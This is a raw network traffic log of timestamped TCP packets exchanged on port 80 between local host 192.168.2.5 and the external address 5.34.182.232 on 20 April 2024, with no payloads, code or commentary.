Apr 20, 2024 10:23:57.169745922 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.169773102 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.169783115 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.169810057 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.169821024 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.169847965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.169858932 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.169884920 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.169895887 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.169924974 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.169934034 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.169964075 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.169974089 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170002937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170011044 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170042992 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170052052 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170080900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170089006 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170119047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170129061 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170156002 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170171022 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170192957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170198917 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170233011 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170247078 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170279980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170281887 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170294046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170308113 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170331955 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170344114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170358896 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170381069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170401096 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170418024 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170418978 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170461893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170464993 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170501947 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170507908 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170537949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170545101 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170574903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170583010 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170613050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170618057 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170650959 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.170658112 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.170703888 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.211810112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.211880922 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.211896896 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.211931944 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405649900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405718088 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405754089 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405760050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405778885 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405800104 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405811071 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405841112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405844927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405878067 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405880928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405919075 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405925989 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405956984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405967951 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.405996084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.405999899 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406033993 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406039000 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406073093 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406075001 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406111956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406116962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406150103 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406162024 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406188011 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406224012 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406243086 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406261921 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406290054 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406299114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406316042 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406337023 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406347036 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406375885 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406378984 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406413078 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406419992 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406450987 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406455994 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406488895 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406492949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406528950 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406532049 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406567097 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406582117 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406605005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406610966 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406644106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406652927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406682968 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406692028 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406722069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406727076 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406760931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406766891 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406800032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406806946 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406837940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406842947 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406874895 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406886101 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406912088 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406929016 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406949043 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406955004 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.406987906 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.406994104 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407025099 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407032013 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407063007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407068968 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407099009 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407105923 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407136917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407143116 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407175064 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407186985 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407212973 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407217979 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407249928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407255888 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407288074 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407299042 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407325983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407330036 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407365084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407371044 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407403946 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407412052 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407440901 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407444954 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407483101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407485962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407521963 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407527924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407560110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407562017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407598019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407603979 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407635927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407640934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407675028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407679081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407717943 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407726049 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407766104 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407774925 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407803059 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407809973 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407840967 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407846928 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407880068 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407885075 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407917976 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407921076 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407954931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407960892 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.407993078 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.407999992 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408030987 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408034086 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408068895 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408072948 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408116102 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408137083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408174038 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408181906 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408214092 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408220053 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408261061 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408261061 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408298969 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408303976 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408335924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408341885 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408373117 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408373117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408410072 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408415079 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408447027 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408447981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408484936 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408488035 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408524990 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408528090 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408561945 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408566952 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408601999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408606052 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408638954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408643007 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408677101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408682108 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408714056 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408720970 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408751965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408756018 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408790112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408792973 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408828974 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408840895 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408865929 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408868074 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408902884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408915997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408941984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408947945 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.408979893 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.408982992 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409017086 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409023046 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409054995 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409064054 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409095049 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409095049 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409132957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409138918 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409176111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409182072 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409213066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409219027 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409250975 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409254074 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409291983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409295082 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409329891 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409339905 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409368992 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409373999 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409406900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409411907 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409445047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409451008 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409483910 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409488916 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409522057 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409527063 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409559011 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409573078 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409606934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409612894 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409640074 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409650087 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409658909 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409674883 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409677982 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409693003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409697056 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409709930 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409714937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409723997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409728050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409745932 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409749031 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409761906 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409765959 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409782887 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409782887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409802914 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409804106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409822941 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409822941 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409842014 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409842968 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409861088 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409862041 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409879923 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409883976 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409894943 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409898043 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409917116 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409917116 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409934998 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409935951 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409954071 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409955025 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409976006 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409976006 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.409992933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.409996033 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.410011053 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.410022974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.410037041 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.410057068 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.446449995 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.446491003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.446523905 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.446546078 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644613981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644716024 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644751072 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644754887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644771099 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644793987 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644807100 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644830942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644840002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644867897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644879103 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644906044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644913912 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644942999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644957066 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.644979954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.644994020 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645016909 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645034075 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645054102 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645065069 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645091057 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645101070 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645127058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645138979 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645163059 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645176888 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.645199060 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.645210028 CEST	49720	80	192.168.2.5	5.34.182.232
